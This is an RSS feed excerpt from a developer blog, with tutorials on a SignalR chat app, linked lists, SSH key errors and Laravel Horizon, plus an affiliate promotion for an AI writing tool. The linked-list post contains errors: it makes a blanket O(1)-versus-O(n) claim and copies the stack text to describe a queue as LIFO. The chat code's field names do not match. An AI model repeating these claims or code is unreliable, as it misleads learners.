<p>That’s it for this guide! I hope you found it helpful. Don’t hesitate to reach out if you have any questions. Let us know how your GitHub Actions setup goes!</p>
<p>Happy coding! 👨‍💻👩‍💻</p>
<blockquote>
<p>This post explores GitHub Actions, a powerful tool for automating development workflows directly from your GitHub repository. We'll guide you through setting up a simple CI/CD pipeline for a Node.js app, complete with automated testing using Jest and Supertest. By the end, you'll have a working workflow that runs tests on every push or pull request to the main branch, and ideas on how to extend it for deployment and other enhancements. Let's dive in! 🚀</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Building a Real-Time Chat App with SignalR in .NET and React]]></title><description><![CDATA[Are you ready to dive into the exciting world of real-time chat applications? In this blog, we will guide you through the process of creating a chat app using SignalR in .NET and React. SignalR is a powerful library that enables real-time communicati...]]></description><link>https://blog.ghanshyamdigital.com/building-a-real-time-chat-app-with-signalr-in-net-and-react</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/building-a-real-time-chat-app-with-signalr-in-net-and-react</guid><category><![CDATA[Chat]]></category><category><![CDATA[React]]></category><category><![CDATA[.NET]]></category><category><![CDATA[SignalR]]></category><dc:creator><![CDATA[khatri karan]]></dc:creator><pubDate>Sat, 14 Sep 2024 06:51:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726296412476/94fc1c5f-f0c6-4787-9236-99b1f899fac7.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Are you ready to dive into the exciting world of real-time chat applications? In this blog, we will guide you through the process of creating a chat app using SignalR in .NET and React. SignalR is a powerful library that enables real-time communication between the server and connected clients, making it an excellent choice for building chat applications.</p>
<p><strong>Prerequisites:</strong> Before we begin, ensure you have the following prerequisites installed on your machine:</p>
<ol>
<li><p>.NET SDK</p>
</li>
<li><p>Node.js and npm (Node Package Manager)</p>
</li>
<li><p>Visual Studio Code or any preferred code editor</p>
</li>
</ol>
<p><strong>Step 1: Setting up the Backend with SignalR</strong></p>
<ol>
<li>Create a new <a target="_blank" href="http://ASP.NET">ASP.NET</a> Core project with the following command:</li>
</ol>
<pre><code class="lang-bash">dotnet new webapi -n ChatAppBackend
</code></pre>
<ol>
<li>Navigate to the project directory and install the SignalR package:</li>
</ol>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> ChatAppBackend
dotnet add package Microsoft.AspNetCore.SignalR
</code></pre>
<ol>
<li>Open the <code>Startup.cs</code> file and configure the services and endpoints for SignalR. Add the following code to the <code>ConfigureServices</code> method:</li>
</ol>
<pre><code class="lang-csharp"><span class="hljs-keyword">using</span> Microsoft.AspNetCore.SignalR;

<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">ConfigureServices</span>(<span class="hljs-params">IServiceCollection services</span>)</span>
{
    <span class="hljs-comment">// ... Other services</span>

    services.AddSignalR();
}
</code></pre>
<ol>
<li>Next, configure the app to use SignalR in the <code>Configure</code> method:</li>
</ol>
<pre><code class="lang-csharp"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">Configure</span>(<span class="hljs-params">IApplicationBuilder app, IWebHostEnvironment env</span>)</span>
{
    <span class="hljs-comment">// ... Other configurations</span>

    app.UseRouting();

    app.UseEndpoints(endpoints =&gt;
    {
        endpoints.MapHub&lt;ChatHub&gt;(<span class="hljs-string">"/chathub"</span>); <span class="hljs-comment">// This will be the endpoint for SignalR</span>
        endpoints.MapControllers();
    });
}
</code></pre>
<ol>
<li>Now, let's create the <code>ChatHub</code> class. Create a new folder named <code>Hubs</code> and add a new class called <code>ChatHub.cs</code>:</li>
</ol>
<pre><code class="lang-csharp"><span class="hljs-keyword">using</span> Microsoft.AspNetCore.SignalR;
<span class="hljs-keyword">using</span> System.Threading.Tasks;

<span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title">ChatHub</span> : <span class="hljs-title">Hub</span>
{
    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">async</span> Task <span class="hljs-title">SendMessage</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> user, <span class="hljs-keyword">string</span> message</span>)</span>
    {
        <span class="hljs-keyword">await</span> Clients.All.SendAsync(<span class="hljs-string">"ReceiveMessage"</span>, user, message);
    }
}
</code></pre>
<p><strong>Step 2: Setting up the Frontend with React</strong></p>
<ol>
<li>Create a new React app using Create React App (CRA):</li>
</ol>
<pre><code class="lang-bash">npx create-react-app chat-app-react
<span class="hljs-built_in">cd</span> chat-app-react
</code></pre>
<ol>
<li>Install the required npm packages to work with SignalR in React:</li>
</ol>
<pre><code class="lang-bash">npm install @microsoft/signalr axios
</code></pre>
<ol>
<li>Create a new folder called <code>components</code> inside the <code>src</code> folder. Inside the <code>components</code> folder, create a new file called <code>Chat.js</code>:</li>
</ol>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> React, { useEffect, useState } <span class="hljs-keyword">from</span> <span class="hljs-string">'react'</span>;
<span class="hljs-keyword">import</span> * <span class="hljs-keyword">as</span> signalR <span class="hljs-keyword">from</span> <span class="hljs-string">'@microsoft/signalr'</span>;
<span class="hljs-keyword">import</span> axios <span class="hljs-keyword">from</span> <span class="hljs-string">'axios'</span>;

<span class="hljs-keyword">const</span> Chat = <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-keyword">const</span> [messages, setMessages] = useState([]);
  <span class="hljs-keyword">const</span> [user, setUser] = useState(<span class="hljs-string">''</span>);
  <span class="hljs-keyword">const</span> [message, setMessage] = useState(<span class="hljs-string">''</span>);

  useEffect(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">const</span> connection = <span class="hljs-keyword">new</span> signalR.HubConnectionBuilder()
      .withUrl(<span class="hljs-string">'/chathub'</span>)
      .withAutomaticReconnect()
      .build();

    connection.on(<span class="hljs-string">'ReceiveMessage'</span>, <span class="hljs-function">(<span class="hljs-params">user, message</span>) =&gt;</span> {
      setMessages(<span class="hljs-function">(<span class="hljs-params">prevMessages</span>) =&gt;</span> [...prevMessages, { user, message }]);
    });

    connection.start().then(<span class="hljs-function">() =&gt;</span> {
      axios.get(<span class="hljs-string">'/api/user'</span>) <span class="hljs-comment">// Replace this with your endpoint to get the user's name</span>
        .then(<span class="hljs-function">(<span class="hljs-params">response</span>) =&gt;</span> setUser(response.data))
        .catch(<span class="hljs-function">(<span class="hljs-params">error</span>) =&gt;</span> <span class="hljs-built_in">console</span>.error(error));
    });

    <span class="hljs-keyword">return</span> <span class="hljs-function">() =&gt;</span> {
      connection.stop();
    };
  }, []);

  <span class="hljs-keyword">const</span> sendMessage = <span class="hljs-function">() =&gt;</span> {
    axios.post(<span class="hljs-string">'/api/message'</span>, { user, message })
      .then(<span class="hljs-function">() =&gt;</span> setMessage(<span class="hljs-string">''</span>))
      .catch(<span class="hljs-function">(<span class="hljs-params">error</span>) =&gt;</span> <span class="hljs-built_in">console</span>.error(error));
  };

  <span class="hljs-keyword">return</span> (
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
        {messages.map((msg, index) =&gt; (
          <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">key</span>=<span class="hljs-string">{index}</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">strong</span>&gt;</span>{msg.user}: <span class="hljs-tag">&lt;/<span class="hljs-name">strong</span>&gt;</span>
            {msg.message}
          <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        ))}
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">input</span>
          <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span>
          <span class="hljs-attr">value</span>=<span class="hljs-string">{message}</span>
          <span class="hljs-attr">onChange</span>=<span class="hljs-string">{(e)</span> =&gt;</span> setMessage(e.target.value)}
        /&gt;
        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onClick</span>=<span class="hljs-string">{sendMessage}</span>&gt;</span>Send<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
  );
};

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> Chat;
</code></pre>
<p><strong>Step 3: Create API Controllers for User and Message</strong></p>
<ol>
<li><p>In the <code>ChatAppBackend</code> project, create a new folder named <code>Controllers</code>. Inside the <code>Controllers</code> folder, add two new files: <code>UserController.cs</code> and <code>MessageController.cs</code>.</p>
</li>
<li><p>In <code>UserController.cs</code>, create an API endpoint to get the user's name (you can replace this with authentication later if needed):</p>
</li>
</ol>
<pre><code class="lang-csharp"><span class="hljs-keyword">using</span> Microsoft.AspNetCore.Mvc;

[<span class="hljs-meta">ApiController</span>]
[<span class="hljs-meta">Route(<span class="hljs-meta-string">"api/[controller]"</span>)</span>]
<span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title">UserController</span> : <span class="hljs-title">ControllerBase</span>
{
    [<span class="hljs-meta">HttpGet</span>]
    <span class="hljs-function"><span class="hljs-keyword">public</span> IActionResult <span class="hljs-title">Get</span>(<span class="hljs-params"></span>)</span>
    {
        <span class="hljs-keyword">return</span> Ok(<span class="hljs-string">"User Name"</span>); <span class="hljs-comment">// Replace "User Name" with the actual user's name</span>
    }
}
</code></pre>
<ol>
<li>In <code>MessageController.cs</code>, create an API endpoint to send a message to the SignalR hub:</li>
</ol>
<pre><code class="lang-csharp"><span class="hljs-keyword">using</span> Microsoft.AspNetCore.Mvc;
<span class="hljs-keyword">using</span> Microsoft.AspNetCore.SignalR;

[<span class="hljs-meta">ApiController</span>]
[<span class="hljs-meta">Route(<span class="hljs-meta-string">"api/[controller]"</span>)</span>]
<span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title">MessageController</span> : <span class="hljs-title">ControllerBase</span>
{
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">readonly</span> IHubContext&lt;ChatHub&gt; _hubContext;

    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">MessageController</span>(<span class="hljs-params">IHubContext&lt;ChatHub&gt; hubContext</span>)</span>
    {
        _hubContext = hubContext;
    }

    [<span class="hljs-meta">HttpPost</span>]
    <span class="hljs-function"><span class="hljs-keyword">public</span> IActionResult <span class="hljs-title">Post</span>(<span class="hljs-params">[FromBody] MessageDto message</span>)</span>
    {
        _hubContext.Clients.All.SendAsync(<span class="hljs-string">"ReceiveMessage"</span>, message.User, message.Text);
        <span class="hljs-keyword">return</span> Ok();
    }
}

<span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title">MessageDto</span>
{
    <span class="hljs-keyword">public</span> <span class="hljs-keyword">string</span> User { <span class="hljs-keyword">get</span>; <span class="hljs-keyword">set</span>; }
    <span class="hljs-keyword">public</span> <span class="hljs-keyword">string</span> Text { <span class="hljs-keyword">get</span>; <span class="hljs-keyword">set</span>; }
}
</code></pre>
<p><strong>Step 4: Run the Application</strong></p>
<ol>
<li>Start the backend server by running the following command in the <code>ChatAppBackend</code> folder:</li>
</ol>
<pre><code class="lang-bash">dotnet run
</code></pre>
<ol>
<li>Start the React frontend by running the following command in the <code>chat-app-react</code> folder:</li>
</ol>
<pre><code class="lang-bash">npm start
</code></pre>
<ol>
<li><p>Open your browser and navigate to <a target="_blank" href="http://localhost:3000"><code>http://localhost:3000</code></a>. You should see the chat application with a textbox to enter your message and a "Send" button.</p>
</li>
<li><p>Open a new browser tab or window and navigate to <a target="_blank" href="http://localhost:3000"><code>http://localhost:3000</code></a>. Enter a different user name in the backend response. Now, both browser windows can exchange real-time messages!</p>
</li>
</ol>
<p>Congratulations! You've successfully built a real-time chat app using SignalR in .NET and React. From here, you can further enhance the application by adding features like authentication, message persistence, private messaging, and more.</p>
<p>Feel free to experiment and explore more possibilities with SignalR and React to create a feature-rich and engaging real-time chat experience! Happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[Linked List]]></title><description><![CDATA[Introduction
Linked List is a type of Dynamic Data Structure that can used to store data without declaring data length. Each element is called ‘Node’, and it contains two parts one part is called node, and second part is called pointer, this pointer ...]]></description><link>https://blog.ghanshyamdigital.com/linked-list</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/linked-list</guid><category><![CDATA[#linkedlists]]></category><dc:creator><![CDATA[Pratham]]></dc:creator><pubDate>Fri, 13 Sep 2024 18:30:00 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>Linked List is a type of Dynamic Data Structure that can used to store data without declaring data length. Each element is called ‘Node’, and it contains two parts one part is called node, and second part is called pointer, this pointer points to the next node. It is better than array because first it is contiguous memory, and we have to declare the memory size and you cannot change the memory size.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726310213060/a72b42ca-990d-4602-b7b9-3802f150187a.webp" alt class="image--center mx-auto" /></p>
<hr />
<h3 id="heading-definition-of-linked-list">Definition of Linked List</h3>
<p>Linked List’s Node is made up of two parts:</p>
<p>Linked List has two-part Head which point to the first Node, and Tail which points to the last node.</p>
<ul>
<li><p>Data: It contains the <code>data</code>.</p>
</li>
<li><p>Next: It has the pointer that referenced to the <code>next</code> node.</p>
<pre><code class="lang-cpp">  <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">Node</span> 
  {</span>
      <span class="hljs-keyword">int</span> data;
      Node* next;
  };
</code></pre>
</li>
</ul>
<hr />
<h3 id="heading-types-of-linked-lists">Types of Linked Lists</h3>
<ul>
<li><p>Singly Linked List: Every node points to the next node and the last node point to the null.</p>
</li>
<li><p>Doubly Linked List: Every node has two pointers, one pointer points to the previous node, and second pointer points to the next node.</p>
</li>
</ul>
<p>Circular Linked List: In this, the last node does points to the next node but not to the null.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726313988656/0901e065-0610-4e47-96f7-cf1d65c9cc06.webp" alt class="image--center mx-auto" /></p>
<hr />
<h3 id="heading-time-complexity">Time Complexity</h3>
<p>In computer science world, time complexity is a very necessary which defines how much time a particular algorithm takes, sounds very small but the software and projects in big scale makes a big impact.</p>
<p>Every program takes time to execute and that is used to quantify this time, and by decreasing and result to good productivity</p>
<p>Linked List Complexity is O(1) while the complexity of array is O(n).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726315807611/3958a9d8-2160-4f7b-a688-6d87df4ca88c.webp" alt class="image--center mx-auto" /></p>
<p>Different operations have different complexity and as you can see Linked list has less complexity.</p>
<hr />
<h3 id="heading-real-world-applications">Real-World Applications</h3>
<p>Linked List is also used in real world applications like in operating system for memory management, Implementing in Data Structures like Stacks and Queues, use in file system.</p>
<h3 id="heading-usage-in-operating-systems">Usage in Operating Systems</h3>
<ul>
<li>Memory management: OS use linked list to allocate free memory and when program request from memory it allocates it from the free space in memory and when he does not need any more it deallocates the memory again.</li>
</ul>
<h3 id="heading-implementation-in-data-structures-like-stacks-and-queues">Implementation in Data Structures like Stacks and Queues</h3>
<ul>
<li><p>Stack:</p>
</li>
<li><p>One segment follows the Last-In-First-Out (LIFO) principle. Linked lists can using stacks because elements can be added or deleted at a constant interval, initially with O(1).</p>
</li>
<li><p>Example: A backtracking algorithm uses stacks to track the status of a calculation, and often uses a linked list.</p>
</li>
<li><p>Queue:</p>
</li>
<li><p>One segment follows the Last-In-First-Out (LIFO) principle. Linked lists can using stacks because elements can be added or deleted at a constant interval, initially with O(1).</p>
</li>
<li><p>Example: A backtracking algorithm uses stacks to track the status of a calculation, and often uses a linked list</p>
</li>
</ul>
<hr />
]]></content:encoded></item><item><title><![CDATA[Troubleshooting SSH Key Authentication Errors]]></title><description><![CDATA[Introduction
In the world of version control and secure data transmission, SSH keys are a fundamental component for authenticating connections between your local machine and remote servers. However, encountering errors like "Permission denied (public...]]></description><link>https://blog.ghanshyamdigital.com/troubleshooting-ssh-key-authentication-errors</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/troubleshooting-ssh-key-authentication-errors</guid><category><![CDATA[ssh-keys]]></category><category><![CDATA[troubleshooting]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[ssh]]></category><category><![CDATA[authentication]]></category><dc:creator><![CDATA[Ghanshyam Digital]]></dc:creator><pubDate>Thu, 24 Aug 2023 06:51:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1692859661863/b7e1745e-b803-4bcb-a2a6-bd3ce3cc1e01.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>In the world of version control and secure data transmission, SSH keys are a fundamental component for authenticating connections between your local machine and remote servers. However, encountering errors like "<code>Permission denied (publickey)</code>" or "<code>Could not open a connection to your authentication agent</code>" can be frustrating. In this guide, we'll dive into common SSH key authentication errors, their causes, and step-by-step solutions to get you back on track.</p>
<h2 id="heading-understanding-ssh-key-authentication">Understanding SSH Key Authentication:</h2>
<p>SSH (Secure Shell) keys provide a secure and convenient way to authenticate connections between your local and remote machines. They consist of a pair of keys: a private key stored on your local machine and a public key stored on the remote server.</p>
<h3 id="heading-error-1-permission-denied-publickey">Error 1: "Permission denied (publickey)":</h3>
<p>This error often arises when the remote server rejects the public key provided by your local machine during the SSH handshake.</p>
<h4 id="heading-common-causes">Common Causes:</h4>
<ul>
<li><p>Incorrect public key uploaded to your remote server.</p>
</li>
<li><p>Incorrect remote repository URL or username.</p>
</li>
<li><p>Private key not loaded into the SSH agent.</p>
</li>
</ul>
<h4 id="heading-solutions">Solutions:</h4>
<ol>
<li><p>Double-check your public key:</p>
<ul>
<li>Ensure the correct public key (<code>id_ed25519.pub</code>, for example) is uploaded to your <a target="_blank" href="https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account#adding-a-new-ssh-key-to-your-account">GitHub account settings.</a></li>
</ul>
</li>
<li><p>Verify repository URL and username:</p>
<ul>
<li>Confirm you're using the correct remote repository URL and username. Use <code>git remote -v</code> to check the URL.</li>
</ul>
</li>
<li><p>Load the private key into the SSH agent:</p>
<ul>
<li><p>Start the agent: <code>eval $(ssh-agent)</code></p>
</li>
<li><p>Add the private key: <code>ssh-add ~/.ssh/id_ed25519</code></p>
</li>
</ul>
</li>
<li><p>Debug the connection using verbose mode:</p>
<ul>
<li><p>Run: <code>ssh -vT</code> <a target="_blank" href="mailto:git@github.com"><code>git@github.com</code></a></p>
</li>
<li><p>This command provides detailed output, helping you pinpoint the issue if it persists.</p>
</li>
</ul>
</li>
</ol>
<h3 id="heading-error-2-could-not-open-a-connection-to-your-authentication-agent">Error 2: "Could not open a connection to your authentication agent":</h3>
<p>This error occurs when the SSH agent isn't running or isn't properly configured.</p>
<h4 id="heading-reasons-for-the-error">Reasons for the Error:</h4>
<ul>
<li><p>SSH agent not started.</p>
</li>
<li><p>Incorrect environment variables.</p>
</li>
</ul>
<h4 id="heading-resolving-the-issue">Resolving the Issue:</h4>
<ol>
<li><p>Start the SSH agent:</p>
<ul>
<li>Run: <code>eval $(ssh-agent)</code></li>
</ul>
</li>
<li><p>Add the private key to the agent:</p>
<ul>
<li>Use: <code>ssh-add ~/.ssh/id_ed25519</code></li>
</ul>
</li>
</ol>
<h3 id="heading-best-practices-for-managing-ssh-keys">Best Practices for Managing SSH Keys:</h3>
<ol>
<li><p>Generate a strong passphrase during key creation for added security.</p>
</li>
<li><p>Regularly review and update your SSH keys.</p>
</li>
<li><p>Use unique key pairs for different services or repositories.</p>
</li>
<li><p>Keep your private keys secure and never share them.</p>
</li>
<li><p>Consider using passphrase-protected keys for enhanced protection.</p>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion:</h2>
<p>SSH key authentication is a crucial aspect of secure communication and version control. Understanding common errors like "Permission denied (publickey)" and "Could not open a connection to your authentication agent" can save valuable time and frustration. By following the solutions provided in this guide and adopting best practices for SSH key management, you'll ensure smooth and secure interactions between your local and remote systems.</p>
<p>Remember, troubleshooting SSH key issues is an essential skill for any developer or IT professional, and armed with this knowledge, you'll be better equipped to navigate these challenges effectively.</p>
]]></content:encoded></item><item><title><![CDATA[Unleash the Content Creation Beast: Tugan AI's Mind-Blowing Magic Revealed!]]></title><description><![CDATA[Introducing Your Ultimate Content Creation Companion: TuganAI!
Bid farewell to #ChatGPT and delve into the revolutionary realm of TuganAI, the game-changing AI tool that's poised to transform your content creation experience. Discover the reasons beh...]]></description><link>https://blog.ghanshyamdigital.com/convert-youtube-videos-to-twitter-threads</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/convert-youtube-videos-to-twitter-threads</guid><category><![CDATA[AI]]></category><category><![CDATA[chatgpt]]></category><category><![CDATA[chatbot]]></category><category><![CDATA[news]]></category><category><![CDATA[content creation]]></category><dc:creator><![CDATA[Jay Makwana]]></dc:creator><pubDate>Mon, 21 Aug 2023 11:17:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1692613062814/22c5d1d6-47b0-4a4d-a42b-23eeb1e04d65.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Introducing Your Ultimate Content Creation Companion: TuganAI!</p>
<p>Bid farewell to #ChatGPT and delve into the revolutionary realm of <a target="_blank" href="https://tugan.ai/?via=shyam">TuganAI</a>, the game-changing AI tool that's poised to transform your content creation experience. Discover the reasons behind its growing popularity and prepare to revolutionize your workflow with these insights.</p>
<h3 id="heading-unlock-a-new-dimension-of-content-transformation">Unlock a New Dimension of Content Transformation</h3>
<p>Imagine effortlessly transforming your <strong>YouTube videos</strong> into captivating <strong>newsletters</strong> that captivate your audience's attention. With TuganAI at your disposal, this seamless conversion becomes a reality, keeping your subscribers hooked and engaged. Experience the magic for yourself by signing up here: <a target="_blank" href="https://www.tugan.ai/?via=shyam">TuganAI - Sign Up Now!</a></p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/tHj-P_UKjyk">https://youtu.be/tHj-P_UKjyk</a></div>
<p> </p>
<h3 id="heading-extend-the-reach-of-your-exceptional-articles">Extend the Reach of Your Exceptional Articles</h3>
<p>Don't let your incredible articles go unnoticed any longer. TuganAI empowers you to effortlessly converts your <strong>articles</strong> to great <strong>newsletters</strong>, expanding your reach and boosting engagement. Bid farewell to manual conversion efforts and embrace the efficiency of content distribution.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/RZVvi4LPnJk">https://youtu.be/RZVvi4LPnJk</a></div>
<p> </p>
<h3 id="heading-unleash-your-creative-brilliance">Unleash Your Creative Brilliance</h3>
<p>Elevate your content creation game with TuganAI's versatile tones that cater to various styles:</p>
<ul>
<li><p>👩‍🏫 "The Good Teacher" 📚</p>
</li>
<li><p>🔥 "The Provocative Guru" 🤯</p>
</li>
<li><p>😂 "The Funny Entertainer" 🎉</p>
</li>
<li><p>🤝 "The Best Friend" 🤗</p>
</li>
<li><p>💼 "The Corporate Dude" 🕴️</p>
</li>
</ul>
<h3 id="heading-tuganai-is-equipped-with-an-array-of-impressive-features-including"><strong>TuganAI is equipped with an array of impressive features, including:</strong></h3>
<ul>
<li><p>Converting YouTube Content to Newsletters, Twitter Threads, LinkedIn Posts, and Tweets</p>
</li>
<li><p>Transforming Keywords or Articles into Engaging Newsletters and Twitter Threads</p>
</li>
<li><p>Seamless Conversion from Sales Pages to Sale Emails</p>
</li>
<li><p>Simplifying the Process with a History List and Much More</p>
</li>
</ul>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/I98OOU3Vh5k">https://youtu.be/I98OOU3Vh5k</a></div>
<p> </p>
<h3 id="heading-effortless-export-for-your-convenience">Effortless <strong>Export</strong> for Your Convenience</h3>
<p>Not only does TuganAI amplify your content creation capabilities, but it also enables you to export generated content to PDF or CSV formats. This seamless integration ensures that your creations can be easily shared and repurposed across various platforms.</p>
<h3 id="heading-join-the-ranks-of-empowered-creators">Join the Ranks of Empowered Creators</h3>
<p>Embrace the success that content creators have achieved through TuganAI's transformative power. Bid adieu to the challenges of content conversion and usher in an era of efficient, engaging, and impactful content creation. Share your message loud and clear with the world: Experience the Impact of <a target="_blank" href="https://www.tugan.ai/?via=shyam">TuganAI!</a></p>
<h3 id="heading-embrace-the-future-of-content-creation">Embrace the Future of Content Creation</h3>
<p>Supercharge your content strategy by immersing yourself in the future of content creation with TuganAI. Witness your ideas spring to life across diverse platforms like never before. Seize this opportunity to unlock your content's full potential.</p>
<p>Embark on your content creation journey today: <a target="_blank" href="https://www.tugan.ai/?via=shyam">Try TuganAI Now!</a></p>
]]></content:encoded></item><item><title><![CDATA[Laravel Horizon: Scaling and Managing Queues Like a Pro]]></title><description><![CDATA[Introduction
In the fast-paced world of web applications, efficient task processing and queue management are essential to ensure smooth user experiences. Laravel, one of the most popular PHP frameworks, offers an excellent solution for this with its ...]]></description><link>https://blog.ghanshyamdigital.com/laravel-horizon-scaling-and-managing-queues-like-a-pro</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/laravel-horizon-scaling-and-managing-queues-like-a-pro</guid><category><![CDATA[Laravel Horizon ]]></category><category><![CDATA[Laravel]]></category><category><![CDATA[laravelframework]]></category><category><![CDATA[queue]]></category><category><![CDATA[queue management]]></category><dc:creator><![CDATA[Ghanshyam Digital]]></dc:creator><pubDate>Sat, 19 Aug 2023 09:04:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/SsBI9pweAeA/upload/5b1764e34ea7985d7946f2bc984d9fdd.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>In the fast-paced world of web applications, efficient task processing and queue management are essential to ensure smooth user experiences. Laravel, one of the most popular PHP frameworks, offers an excellent solution for this with its Horizon package. In this article, we'll dive into the world of Laravel Horizon, exploring how it empowers developers to scale and manage queues like true professionals.</p>
<h2 id="heading-what-are-queues-and-why-do-they-matter">What are Queues and Why Do They Matter?</h2>
<h3 id="heading-understanding-queues">Understanding Queues</h3>
<p>Queues are an integral part of web applications, responsible for managing tasks that are time-consuming or resource-intensive. Think of them as a way to line up tasks that can be executed in the background, separate from the main application flow. This allows your application to remain responsive and efficient, even when handling heavy tasks like sending emails, processing uploaded files, or generating reports.</p>
<h3 id="heading-the-significance-of-effective-queue-management">The Significance of Effective Queue Management</h3>
<p>Proper queue management is crucial for maintaining the responsiveness and performance of your application. If tasks are processed synchronously within the main request cycle, users might experience delays and timeouts, resulting in a poor user experience. By utilizing queues, you can offload these tasks to be processed separately, ensuring that your application remains fast and responsive.</p>
<h2 id="heading-introducing-laravel-horizon">Introducing Laravel Horizon</h2>
<h3 id="heading-what-is-laravel-horizon">What is Laravel Horizon?</h3>
<p>Laravel Horizon is an official package provided by the Laravel ecosystem that simplifies the management and scaling of queues. It provides a real-time dashboard, giving developers insights into their queue system's performance, throughput, and processing times. Horizon also makes it easy to configure and manage queue workers, ensuring that tasks are distributed efficiently across available resources.</p>
<h2 id="heading-key-features-of-laravel-horizon">Key Features of Laravel Horizon</h2>
<h3 id="heading-1-real-time-monitoring-and-insights">1. Real-time Monitoring and Insights</h3>
<p>Laravel Horizon's dashboard provides a live view of your application's queues, displaying vital metrics such as queue lengths, throughput, and processing times. This real-time monitoring empowers developers to quickly identify bottlenecks and optimize queue performance.</p>
<h3 id="heading-2-efficient-worker-management">2. Efficient Worker Management</h3>
<p>With Horizon, managing queue workers becomes a breeze. You can dynamically scale the number of worker processes based on demand, ensuring optimal resource utilization. This auto-scaling feature is particularly useful during traffic spikes when tasks queue up rapidly.</p>
<h3 id="heading-3-horizon-supervisor">3. Horizon Supervisor</h3>
<p>Laravel Horizon introduces the concept of a "supervisor" process that monitors your workers and automatically restarts them if they fail. This ensures high availability and reliability of your queue processing, minimizing downtime.</p>
<h3 id="heading-4-configuration-simplicity">4. Configuration Simplicity</h3>
<p>Horizon simplifies the configuration of your queue system. Through its intuitive configuration options, you can fine-tune settings such as queue priorities, retry strategies, and timeout values, tailoring the queue system to your application's needs.</p>
<h2 id="heading-getting-started-with-laravel-horizon">Getting Started with Laravel Horizon</h2>
<p>To start using Laravel Horizon in your project, follow these steps:</p>
<ol>
<li><p>Install Laravel Horizon using Composer:</p>
<pre><code class="lang-bash"> composer require laravel/horizon
</code></pre>
</li>
</ol>
<ol>
<li><p>Publish the configuration file:</p>
<pre><code class="lang-bash"> php artisan vendor:publish --provider=<span class="hljs-string">"Laravel\Horizon\HorizonServiceProvider"</span>
</code></pre>
</li>
<li><p>Configure your Horizon settings in the <code>horizon.php</code> configuration file.</p>
</li>
<li><p>Start the Horizon dashboard and worker processes:</p>
<pre><code class="lang-bash"> php artisan horizon
</code></pre>
<p> This will start Horizon in the background. You can access the Horizon dashboard at <a target="_blank" href="http://localhost:8000/horizon"><code>http://localhost:8000/horizon</code></a>.</p>
</li>
</ol>
<h2 id="heading-example"><strong>Example</strong></h2>
<p>Let's say you have a job that sends an email. You can create a job class like this:</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SendEmailJob</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">ShouldQueue</span>
</span>{
